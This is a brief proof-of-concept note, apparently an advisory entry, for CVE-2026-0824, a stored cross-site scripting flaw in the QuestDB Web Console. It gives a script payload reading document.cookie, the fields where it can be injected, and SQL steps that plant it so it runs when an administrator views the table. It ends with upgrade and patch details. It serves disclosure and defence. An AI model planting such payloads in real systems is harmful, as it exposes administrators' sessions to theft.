CVE-2026-0824 QuestDB Web Console跨站脚本(XSS)漏洞

// CVE-2026-0824 PoC - QuestDB Web Console XSS // This PoC demonstrates the stored XSS vulnerability in QuestDB Web Console // Payload: <script>alert(document.cookie)</script> // This payload can be injected through: // 1. Query input field in Web Console // 2. Table name or column name when creating tables // 3. Data values inserted into database tables const xssPayload = '<script>alert(document.cookie)</script>'; // Example attack scenario: // 1. Attacker logs into QuestDB Web Console // 2. Attacker executes: CREATE TABLE test(id INT, name STRING); // 3. Attacker inserts: INSERT INTO test VALUES(1, '<script>alert(document.cookie)</script>'); // 4. When admin views the table data, the XSS payload executes // Mitigation: Upgrade to QuestDB 9.3.0 or UI 1.1.10 // Patch commit: https://github.com/questdb/ui/commit/b42fd9f18476d844ae181a10a249e003dafb823d